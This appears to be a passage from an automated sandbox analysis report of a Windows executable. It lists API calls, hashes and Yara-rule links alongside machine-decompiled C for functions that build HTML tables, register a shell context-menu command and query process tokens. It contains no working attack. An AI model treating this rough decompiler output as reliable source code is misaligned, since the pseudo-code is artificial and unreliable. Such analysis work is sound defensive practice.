Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

GetDlgItem.USER32 ref: 00403D64
GetDlgItem.USER32 ref: 00403DC0
GetDlgItem.USER32 ref: 00403DF0
GetDlgItem.USER32 ref: 00403E20
GetDlgItem.USER32 ref: 00403E4F
SendDlgItemMessageW.USER32 ref: 00403E87
GetDlgItem.USER32 ref: 00403E9B
SetFocus.USER32(00000000), ref: 00403E9E

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$MessageSend$HandleModuleWindow$Load$Imagememset$AcceptAddressClientDragFilesFocusFreeLibraryLongProcRectStringText_snwprintfmemcpywcscpywcslen
String ID:
API String ID: 1038210931-0
Opcode ID: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction ID: 1ad7597cb923a57af30b7376ae6fce15a7391ca9e5b6ac25faa2013acf12c195
Opcode Fuzzy Hash: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction Fuzzy Hash: D261A6B09407087FE6207F71DC47F2B7A6CEF40714F000A3ABB46751D3DABA69158A59

Uniqueness

Uniqueness Score: -1.00%

Function 00407763, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00407763(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void _v138;
				long _v140;
				void _v242;
				char _v244;
				void _v346;
				char _v348;
				void _v452;
				void _v962;
				signed short _v964;
				void* __esi;
				void* _t87;
				wchar_t* _t109;
				intOrPtr* _t124;
				signed int _t125;
				signed int _t140;
				signed int _t153;
				intOrPtr* _t154;
				signed int _t156;
				signed int _t157;
				void* _t159;
				void* _t161;

				_t124 = __ebx;
				_v964 = _v964 & 0x00000000;
				memset( &_v962, 0, 0x1fc);
				_t125 = 0x18;
				memcpy( &_v452, L"<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s\r\n", _t125 << 2);
				asm("movsw");
				_t153 = 0;
				_v244 = 0;
				memset( &_v242, 0, 0x62);
				_v348 = 0;
				memset( &_v346, 0, 0x62);
				_v140 = 0;
				memset( &_v138, 0, 0x62);
				_t161 = _t159 + 0x3c;
				_t87 =  *((intOrPtr*)( *__ebx + 0x14))();
				_v16 =  *((intOrPtr*)(__ebx + 0x2d4));
				if(_t87 != 0xffffffff) {
					_push(E0040ADC0(_t87,  &_v964));
					_push(L" bgcolor=\"%s\"");
					_push(0x32);
					_push( &_v244);
					L0040B1EC();
					_t161 = _t161 + 0x18;
				}
				E00407343(_t124, _a4, L"<table border=\"1\" cellpadding=\"5\">\r\n");
				_v8 = _t153;
				if( *((intOrPtr*)(_t124 + 0x2c)) > _t153) {
					while(1) {
						_t156 =  *( *((intOrPtr*)(_t124 + 0x30)) + _v8 * 4);
						_v12 = _t156;
						_t157 = _t156 * 0x14;
						if( *((intOrPtr*)(_t157 +  *((intOrPtr*)(_t124 + 0x40)) + 8)) != _t153) {
							wcscpy( &_v140, L" nowrap");
						}
						_v32 = _v32 | 0xffffffff;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _t153;
						_t154 = _a8;
						 *((intOrPtr*)( *_t124 + 0x34))(6, _v8, _t154,  &_v32);
						E0040ADC0(_v32,  &_v348);
						E0040ADF1( *((intOrPtr*)( *_t154))(_v12,  *((intOrPtr*)(_t124 + 0x60))),  *(_t124 + 0x64));
						 *((intOrPtr*)( *_t124 + 0x50))( *(_t124 + 0x64), _t154, _v12);
						if( *((intOrPtr*)( *_t124 + 0x18))() == 0xffffffff) {
							wcscpy( *(_t124 + 0x68),  *(_t157 + _v16 + 0x10));
						} else {
							_push( *(_t157 + _v16 + 0x10));
							_push(E0040ADC0(_t106,  &_v964));
							_push(L"<font color=\"%s\">%s</font>");
							_push(0x2000);
							_push( *(_t124 + 0x68));
							L0040B1EC();
							_t161 = _t161 + 0x14;
						}
						_t109 =  *(_t124 + 0x64);
						_t140 =  *_t109 & 0x0000ffff;
						if(_t140 == 0 || _t140 == 0x20) {
							wcscat(_t109, L"&nbsp;");
						}
						E0040AE90( &_v32,  *((intOrPtr*)(_t124 + 0x6c)),  *(_t124 + 0x64));
						_push( *((intOrPtr*)(_t124 + 0x6c)));
						_push( &_v140);
						_push( &_v348);
						_push( *(_t124 + 0x68));
						_push( &_v244);
						_push( &_v452);
						_push(0x2000);
						_push( *((intOrPtr*)(_t124 + 0x60)));
						L0040B1EC();
						_t161 = _t161 + 0x28;
						E00407343(_t124, _a4,  *((intOrPtr*)(_t124 + 0x60)));
						_v8 = _v8 + 1;
						if(_v8 >=  *((intOrPtr*)(_t124 + 0x2c))) {
							goto L14;
						}
						_t153 = 0;
					}
				}
				L14:
				E00407343(_t124, _a4, L"</table><p>");
				return E00407343(_t124, _a4, L"\r\n");
			}

0x00407763
0x0040776c
0x00407784
0x0040778b
0x00407797
0x00407799
0x0040779b
0x004077a7
0x004077ae
0x004077bd
0x004077c4
0x004077d3
0x004077da
0x004077e1
0x004077e6
0x004077f2
0x004077f5
0x00407804
0x00407805
0x00407810
0x00407812
0x00407813
0x00407818
0x00407818
0x00407825
0x0040782d
0x00407830
0x0040783a
0x00407840
0x00407846
0x00407849
0x00407850
0x0040785e
0x00407864
0x00407867
0x0040786b
0x0040786f
0x00407877
0x0040787a
0x00407885
0x00407892
0x004078a8
0x004078b8
0x004078c5
0x004078ff
0x004078c7
0x004078ca
0x004078dd
0x004078de
0x004078e3
0x004078e8
0x004078eb
0x004078f0
0x004078f0
0x00407906
0x00407909
0x0040790f
0x0040791d
0x00407923
0x0040792d
0x00407932
0x0040793b
0x00407942
0x00407943
0x0040794c
0x00407953
0x00407954
0x00407959
0x0040795c
0x00407961
0x0040796c
0x00407971
0x0040797a
0x00000000
0x00000000
0x00407838
0x00407838
0x0040783a
0x00407980
0x0040798a
0x004079a1

APIs

memset.MSVCRT ref: 00407784
memset.MSVCRT ref: 004077AE
memset.MSVCRT ref: 004077C4
memset.MSVCRT ref: 004077DA
_snwprintf.MSVCRT ref: 00407813
wcscpy.MSVCRT ref: 0040785E
_snwprintf.MSVCRT ref: 004078EB
wcscat.MSVCRT ref: 0040791D

Part of subcall function 0040ADC0: _snwprintf.MSVCRT ref: 0040ADE4

wcscpy.MSVCRT ref: 004078FF
_snwprintf.MSVCRT ref: 0040795C

Strings

<font color="%s">%s</font>, xrefs: 004078DE
bgcolor="%s", xrefs: 00407805
 , xrefs: 00407917
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 0040778C
</table><p>, xrefs: 00407980
<table border="1" cellpadding="5">, xrefs: 0040781B
nowrap, xrefs: 00407858

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfmemset$wcscpy$wcscat
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
API String ID: 1607361635-601624466
Opcode ID: 79dd95c05abc82e9b2e709e2cd57865f98d2b899bba57f456d4bed9a2e0af9fd
Instruction ID: c59e53cc54c64df10e6b193e6b6ea7c08fa255db16bc08a9aa92b01e8cbfba7b
Opcode Fuzzy Hash: 79dd95c05abc82e9b2e709e2cd57865f98d2b899bba57f456d4bed9a2e0af9fd
Instruction Fuzzy Hash: C8618E31940208EFDF14AF95CC85EAE7B79FF44310F1041AAF905BA2D2DB34AA54DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00407B5D, Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00407B5D(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char _a16, char _a20, intOrPtr _a24) {
				void _v514;
				char _v516;
				void _v1026;
				long _v1028;
				void _v1538;
				char _v1540;
				void _v2050;
				char _v2052;
				char _v2564;
				char _v35332;
				char _t51;
				intOrPtr* _t54;
				void* _t61;
				intOrPtr* _t73;
				void* _t78;
				void* _t79;
				void* _t80;
				void* _t81;

				E0040B550(0x8a00, __ecx);
				_v2052 = 0;
				memset( &_v2050, 0, 0x1fc);
				_v1540 = 0;
				memset( &_v1538, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t79 = _t78 + 0x24;
				if(_a20 != 0xffffffff) {
					_push(E0040ADC0(_a20,  &_v2564));
					_push(L" bgcolor=\"%s\"");
					_push(0xff);
					_push( &_v2052);
					L0040B1EC();
					_t79 = _t79 + 0x18;
				}
				if(_a24 != 0xffffffff) {
					_push(E0040ADC0(_a24,  &_v2564));
					_push(L"<font color=\"%s\">");
					_push(0xff);
					_push( &_v1540);
					L0040B1EC();
					wcscpy( &_v1028, L"</font>");
					_t79 = _t79 + 0x20;
				}
				_push( &_v2052);
				_push(L"<table border=\"1\" cellpadding=\"5\"><tr%s>\r\n");
				_push(0x3fff);
				_push( &_v35332);
				L0040B1EC();
				_t80 = _t79 + 0x10;
				E00407343(_a4, _a8,  &_v35332);
				_t51 = _a16;
				if(_t51 > 0) {
					_t73 = _a12 + 4;
					_a20 = _t51;
					do {
						_v516 = 0;
						memset( &_v514, 0, 0x1fc);
						_t54 =  *_t73;
						_t81 = _t80 + 0xc;
						if( *_t54 == 0) {
							_v516 = 0;
						} else {
							_push(_t54);
							_push(L" width=\"%s\"");
							_push(0xff);
							_push( &_v516);
							L0040B1EC();
							_t81 = _t81 + 0x10;
						}
						_push( &_v1028);
						_push( *((intOrPtr*)(_t73 - 4)));
						_push( &_v1540);
						_push( &_v516);
						_push(L"<th%s>%s%s%s\r\n");
						_push(0x3fff);
						_push( &_v35332);
						L0040B1EC();
						_t80 = _t81 + 0x1c;
						_t61 = E00407343(_a4, _a8,  &_v35332);
						_t73 = _t73 + 8;
						_t36 =  &_a20;
						 *_t36 = _a20 - 1;
					} while ( *_t36 != 0);
					return _t61;
				}
				return _t51;
			}

0x00407b65
0x00407b7c
0x00407b83
0x00407b91
0x00407b98
0x00407ba6
0x00407bad
0x00407bb2
0x00407bb9
0x00407bca
0x00407bcb
0x00407bd6
0x00407bdb
0x00407bdc
0x00407be1
0x00407be1
0x00407be8
0x00407bf9
0x00407bfa
0x00407c05
0x00407c0a
0x00407c0b
0x00407c1c
0x00407c21
0x00407c21
0x00407c2a
0x00407c2b
0x00407c36
0x00407c3b
0x00407c3c
0x00407c41
0x00407c51
0x00407c56
0x00407c5b
0x00407c65
0x00407c68
0x00407c6b
0x00407c74
0x00407c7b
0x00407c80
0x00407c82
0x00407c88
0x00407ca6
0x00407c8a
0x00407c8a
0x00407c8b
0x00407c96
0x00407c9b
0x00407c9c
0x00407ca1
0x00407ca1
0x00407cb3
0x00407cb4
0x00407cbd
0x00407cc4
0x00407cc5
0x00407cd0
0x00407cd5
0x00407cd6
0x00407cdb
0x00407ceb
0x00407cf0
0x00407cf3
0x00407cf3
0x00407cf3
0x00000000
0x00407cfc
0x00407d00

APIs

memset.MSVCRT ref: 00407B83
memset.MSVCRT ref: 00407B98
memset.MSVCRT ref: 00407BAD
_snwprintf.MSVCRT ref: 00407BDC
_snwprintf.MSVCRT ref: 00407C0B
wcscpy.MSVCRT ref: 00407C1C
_snwprintf.MSVCRT ref: 00407C3C
memset.MSVCRT ref: 00407C7B
_snwprintf.MSVCRT ref: 00407C9C
_snwprintf.MSVCRT ref: 00407CD6

Part of subcall function 0040ADC0: _snwprintf.MSVCRT ref: 0040ADE4

Strings

</font>, xrefs: 00407C16
<table border="1" cellpadding="5"><tr%s>, xrefs: 00407C2B
bgcolor="%s", xrefs: 00407BCB
width="%s", xrefs: 00407C8B
<font color="%s">, xrefs: 00407BFA
<th%s>%s%s%s, xrefs: 00407CC5

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf$memset$wcscpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 2000436516-3842416460
Opcode ID: d00ccfce514861463375abe2e6db6ffc98356b9832555c3fb27b3b8e17e2f823
Instruction ID: 17ce3237ebe69143205905a5a122d9f10e08837d2ebaecd13bb40ff2a02a5a8b
Opcode Fuzzy Hash: d00ccfce514861463375abe2e6db6ffc98356b9832555c3fb27b3b8e17e2f823
Instruction Fuzzy Hash: EA413371D40219AAEB20EB55CC86FAB737CFF45304F0440BAB918B6191D774AB948FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00404415, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 124
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404415(void* __ecx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				void* _v24;
				intOrPtr _v28;
				short _v32;
				void _v2078;
				signed int _v2080;
				void _v4126;
				char _v4128;
				void _v6174;
				char _v6176;
				void _v8222;
				char _v8224;
				signed int _t49;
				short _t55;
				intOrPtr _t56;
				int _t73;
				intOrPtr _t78;

				_t76 = __ecx;
				E0040B550(0x201c, __ecx);
				_t73 = 0;
				if(E004043F8( &_v8, 0x2001f) != 0) {
					L6:
					return _t73;
				}
				_v6176 = 0;
				memset( &_v6174, 0, 0x7fe);
				_t78 = _a4;
				_push(_t78 + 0x20a);
				_push(_t78);
				_push(L"%s\\shell\\%s\\command");
				_push(0x3ff);
				_push( &_v6176);
				L0040B1EC();
				if(E00409ECC(_t76, _v8,  &_v6176,  &_v12) == 0) {
					_t49 = E00409EF4(_v12, 0x40c4e8, _t78 + 0x414);
					asm("sbb ebx, ebx");
					_t73 =  ~_t49 + 1;
					RegCloseKey(_v12);
					_v2080 = _v2080 & 0x00000000;
					memset( &_v2078, 0, 0x7fe);
					E00404AD9( &_v2080);
					if(_v2078 == 0x3a) {
						_t55 =  *L"C:\\"; // 0x3a0043
						_v32 = _t55;
						_t56 =  *0x40ccdc; // 0x5c
						_v28 = _t56;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_v32 = _v2080;
						if(GetDriveTypeW( &_v32) == 3) {
							_v4128 = 0;
							memset( &_v4126, 0, 0x7fe);
							_v8224 = 0;
							memset( &_v8222, 0, 0x7fe);
							_push(_a4 + 0x20a);
							_push(_a4);
							_push(L"%s\\shell\\%s");
							_push(0x3ff);
							_push( &_v8224);
							L0040B1EC();
							_push( &_v2080);
							_push(L"\"%s\",0");
							_push(0x3ff);
							_push( &_v4128);
							L0040B1EC();
							E00409F1A(_t76, _v8,  &_v8224,  &_v4128);
						}
					}
				}
				RegCloseKey(_v8);
				goto L6;
			}

0x00404415
0x0040441d
0x0040442c
0x00404435
0x004045b3
0x004045b7
0x004045b7
0x0040444b
0x00404452
0x00404457
0x00404460
0x00404461
0x00404462
0x0040446d
0x00404472
0x00404473
0x00404490
0x004044a5
0x004044b4
0x004044b6
0x004044b7
0x004044bd
0x004044cf
0x004044db
0x004044eb
0x004044f1
0x004044f6
0x004044f9
0x004044fe
0x00404506
0x00404507
0x00404508
0x00404510
0x00404521
0x00404532
0x00404539
0x00404547
0x0040454e
0x0040455b
0x0040455c
0x00404564
0x0040456f
0x00404570
0x00404571
0x0040457c
0x0040457d
0x00404588
0x00404589
0x0040458a
0x004045a0
0x004045a5
0x00404521
0x004044eb
0x004045ab
0x00000000

APIs

memset.MSVCRT ref: 00404452
_snwprintf.MSVCRT ref: 00404473

Part of subcall function 00409ECC: RegCreateKeyExW.ADVAPI32(?,?,00000000,0040C4E8,00000000,000F003F,00000000,?,?,?,?,0040448B,?,?,?,?), ref: 00409EEC

RegCloseKey.ADVAPI32(?,?,?,?,0002001F,?,?,0040390E,?), ref: 004045AB

Part of subcall function 00409EF4: wcslen.MSVCRT ref: 00409EF8
Part of subcall function 00409EF4: RegSetValueExW.ADVAPI32(004044AA,004044AA,00000000,00000001,004044AA,?,004044AA,?,0040C4E8,?,?,?,?,0002001F), ref: 00409F13

RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,0002001F,?,?,0040390E,?), ref: 004044B7
memset.MSVCRT ref: 004044CF

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

GetDriveTypeW.KERNEL32(?), ref: 00404518
memset.MSVCRT ref: 00404539
memset.MSVCRT ref: 0040454E
_snwprintf.MSVCRT ref: 00404571
_snwprintf.MSVCRT ref: 0040458A

Part of subcall function 00409F1A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409F57

Strings

%s\shell\%s, xrefs: 00404564
%s\shell\%s\command, xrefs: 00404462
:, xrefs: 004044E3
"%s",0, xrefs: 0040457D
C:\, xrefs: 004044F1

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Close_snwprintf$CreateDriveFileModuleNameTypeValuewcslen
String ID: "%s",0$%s\shell\%s$%s\shell\%s\command$:$C:\
API String ID: 486436031-734527199
Opcode ID: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction ID: 27235bf79c6ca8476a2d09a82ed3c32274241934b1c07e7e02f5f4f3263a5ff1
Opcode Fuzzy Hash: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction Fuzzy Hash: A4410EB294021CFADB20DB95CC85DDFB6BCEF44304F0084B6B608F2191E7789B559BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040645E, Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040645E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, wchar_t* _a8) {
				void _v530;
				char _v532;
				void _v1042;
				long _v1044;
				long _v4116;
				char _v5164;
				void* __edi;
				void* _t27;
				void* _t38;
				void* _t44;

				E0040B550(0x142c, __ecx);
				_v1044 = 0;
				memset( &_v1042, 0, 0x1fc);
				_v532 = 0;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_pop(_t44);
				E00405AA7( &_v5164);
				_t27 = E0040B04D( &_v5164,  &_v532);
				_t61 = _t27;
				if(_t27 != 0) {
					wcscpy( &_v1044,  &_v4116);
					_pop(_t44);
				}
				wcscpy(0x40fb90, _a8);
				wcscpy(0x40fda0, L"general");
				E00405FAC(_t61, L"TranslatorName", 0x40c4e8, 0);
				E00405FAC(_t61, L"TranslatorURL", 0x40c4e8, 0);
				E00405FAC(_t61, L"Version",  &_v1044, 1);
				E00405FAC(_t61, L"RTL", "0", 0);
				EnumResourceNamesW(_a4, 4, E0040620E, 0);
				EnumResourceNamesW(_a4, 5, E0040620E, 0);
				wcscpy(0x40fda0, L"strings");
				_t38 = E00406337(_t44, _t61, _a4);
				 *0x40fb90 =  *0x40fb90 & 0x00000000;
				return _t38;
			}

0x00406466
0x0040647d
0x00406484
0x00406499
0x004064a0
0x004064af
0x004064b4
0x004064bb
0x004064cd
0x004064d2
0x004064d4
0x004064e4
0x004064ea
0x004064ea
0x004064f3
0x00406503
0x00406514
0x00406525
0x0040653b
0x0040654e
0x00406568
0x00406572
0x0040657a
0x00406582
0x0040658a
0x00406596

APIs

memset.MSVCRT ref: 00406484
memset.MSVCRT ref: 004064A0

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

Part of subcall function 0040B04D: GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
Part of subcall function 0040B04D: ??2@YAPAXI@Z.MSVCRT ref: 0040B07E
Part of subcall function 0040B04D: GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
Part of subcall function 0040B04D: _snwprintf.MSVCRT ref: 0040B0FE
Part of subcall function 0040B04D: wcscpy.MSVCRT ref: 0040B128

wcscpy.MSVCRT ref: 004064E4
wcscpy.MSVCRT ref: 004064F3
wcscpy.MSVCRT ref: 00406503
EnumResourceNamesW.KERNEL32(00406602,00000004,0040620E,00000000), ref: 00406568
EnumResourceNamesW.KERNEL32(00406602,00000005,0040620E,00000000), ref: 00406572
wcscpy.MSVCRT ref: 0040657A

Strings

RTL, xrefs: 00406549
TranslatorName, xrefs: 0040650F
SFM, xrefs: 00406502
TranslatorURL, xrefs: 00406520
strings, xrefs: 00406574
Version, xrefs: 00406536
general, xrefs: 004064F8

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$File$EnumInfoNamesQueryResourceValueVersionmemset$??2@ModuleNameSize_snwprintf
String ID: RTL$SFM$TranslatorName$TranslatorURL$Version$general$strings
API String ID: 3037099051-2314623505
Opcode ID: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction ID: e6de4c2f5101c47608bcafe23e33f00a3ad23f8f2b1db811bf874d9a9dfc23cd
Opcode Fuzzy Hash: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction Fuzzy Hash: ED21547294021875DB20B756DC4BECF3A6CEF44754F0105BBB508B21D2D7BC5A9489ED

Uniqueness

Uniqueness Score: -1.00%

Function 00409A94, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00409A94(long _a4, intOrPtr _a8) {
				int _v8;
				int _v12;
				int _v16;
				void* _v20;
				void* _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				char _v60;
				void _v315;
				char _v316;
				void _v826;
				char _v828;
				void _v1338;
				char _v1340;
				void* __esi;
				void* _t61;
				_Unknown_base(*)()* _t93;
				void* _t94;
				int _t106;
				void* _t108;
				void* _t110;

				_v828 = 0;
				memset( &_v826, 0, 0x1fe);
				_v1340 = 0;
				memset( &_v1338, 0, 0x1fe);
				_t110 = _t108 + 0x18;
				_t61 = OpenProcess(0x400, 0, _a4);
				_t113 = _t61;
				_v20 = _t61;
				if(_t61 == 0) {
					L11:
					if(_v828 == 0) {
						__eflags = 0;
						return 0;
					}
					_push( &_v828);
					_push( &_v1340);
					_push(L"%s\\%s");
					_push(0xff);
					_push(_a8);
					L0040B1EC();
					return 1;
				}
				_v8 = 0;
				_v24 = 0;
				E00408F92( &_v8, _t113, _t61, 8,  &_v24);
				_t106 = _v24;
				if(_t106 == 0) {
					_t32 =  &_v20; // 0x4059ec
					E00409555( *_t32,  &_v36,  &_v44,  &_v52,  &_v60);
					_v316 = 0;
					memset( &_v315, 0, 0xfe);
					_t110 = _t110 + 0x20;
					_v16 = 0xff;
					__eflags = E00409A46(0x41c4b4, _a4,  &_v316,  &_v16, _v36, _v32);
					if(__eflags == 0) {
						L9:
						CloseHandle(_v20);
						if(_v8 != 0) {
							FreeLibrary(_v8);
						}
						goto L11;
					}
					_push( &_v28);
					_push( &_a4);
					_push( &_v1340);
					_push( &_v12);
					_push( &_v828);
					_a4 = 0xff;
					_push( &_v316);
					L8:
					_v12 = 0xff;
					E0040906D( &_v8, _t117);
					goto L9;
				}
				_v316 = 0;
				memset( &_v315, 0, 0xff);
				_v12 = _t106;
				_t110 = _t110 + 0xc;
				_a4 = 0;
				if(E00408F72( &_v8) == 0) {
					goto L9;
				}
				_t93 = GetProcAddress(_v8, "GetTokenInformation");
				if(_t93 == 0) {
					goto L9;
				}
				_t94 =  *_t93(_v12, 1,  &_v316, 0xff,  &_a4);
				_t117 = _t94;
				if(_t94 == 0) {
					goto L9;
				}
				_push( &_v28);
				_push( &_v12);
				_push( &_v1340);
				_push( &_v16);
				_push( &_v828);
				_push(_v316);
				_v16 = 0xff;
				goto L8;
			}

0x00409ab0
0x00409ab7
0x00409ac8
0x00409acf
0x00409ad4
0x00409ae0
0x00409ae6
0x00409ae8
0x00409af0
0x00409c3a
0x00409c41
0x00409c67
0x00000000
0x00409c67
0x00409c49
0x00409c50
0x00409c51
0x00409c56
0x00409c57
0x00409c5a
0x00000000
0x00409c64
0x00409b00
0x00409b03
0x00409b06
0x00409b0b
0x00409b10
0x00409ba9
0x00409bac
0x00409bc1
0x00409bc7
0x00409bcc
0x00409bd8
0x00409bf0
0x00409bf2
0x00409c23
0x00409c26
0x00409c2f
0x00409c34
0x00409c34
0x00000000
0x00409c2f
0x00409bf7
0x00409bfb
0x00409c02
0x00409c06
0x00409c0d
0x00409c14
0x00409c17
0x00409c18
0x00409c1b
0x00409c1e
0x00000000
0x00409c1e
0x00409b1f
0x00409b25
0x00409b2a
0x00409b2d
0x00409b33
0x00409b3d
0x00000000
0x00000000
0x00409b4b
0x00409b53
0x00000000
0x00000000
0x00409b6a
0x00409b6c
0x00409b6e
0x00000000
0x00000000
0x00409b77
0x00409b7b
0x00409b82
0x00409b86
0x00409b8d
0x00409b8e
0x00409b94
0x00000000

APIs

memset.MSVCRT ref: 00409AB7
memset.MSVCRT ref: 00409ACF
OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,00000000,00000000), ref: 00409AE0
_snwprintf.MSVCRT ref: 00409C5A

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

memset.MSVCRT ref: 00409B25
GetProcAddress.KERNEL32(?,GetTokenInformation), ref: 00409B4B
memset.MSVCRT ref: 00409BC7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000008,?), ref: 00409C26
FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000,00000008,?,?,?,?,?,00000000,00000000), ref: 00409C34

Strings

GetTokenInformation, xrefs: 00409B43
Y@, xrefs: 00409BA9
%s\%s, xrefs: 00409C51

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$AddressProc$CloseFreeHandleLibraryOpenProcess_snwprintf
String ID: %s\%s$GetTokenInformation$Y@
API String ID: 3504373036-27875219
Opcode ID: fa417e9f9b304094a666d2d32e69bd60d5871efe85622ded7a3fc1f13b21d4e3
Instruction ID: eda2fbc970d96949daa6443d9737cdff9b2c135ab99c7c98679ff10ae30762ca
Opcode Fuzzy Hash: fa417e9f9b304094a666d2d32e69bd60d5871efe85622ded7a3fc1f13b21d4e3
Instruction Fuzzy Hash: E451C9B2C0021DBADB51EB95DC81DEFBBBDEB44344F1045BAB505B2191EA349F84CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409172, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409172() {
				void* _t1;
				int _t2;
				struct HINSTANCE__* _t5;

				if( *0x4101bc != 0) {
					return _t1;
				}
				_t2 = E00405436(L"psapi.dll");
				_t5 = _t2;
				if(_t5 == 0) {
					L10:
					return _t2;
				} else {
					_t2 = GetProcAddress(_t5, "GetModuleBaseNameW");
					 *0x40f848 = _t2;
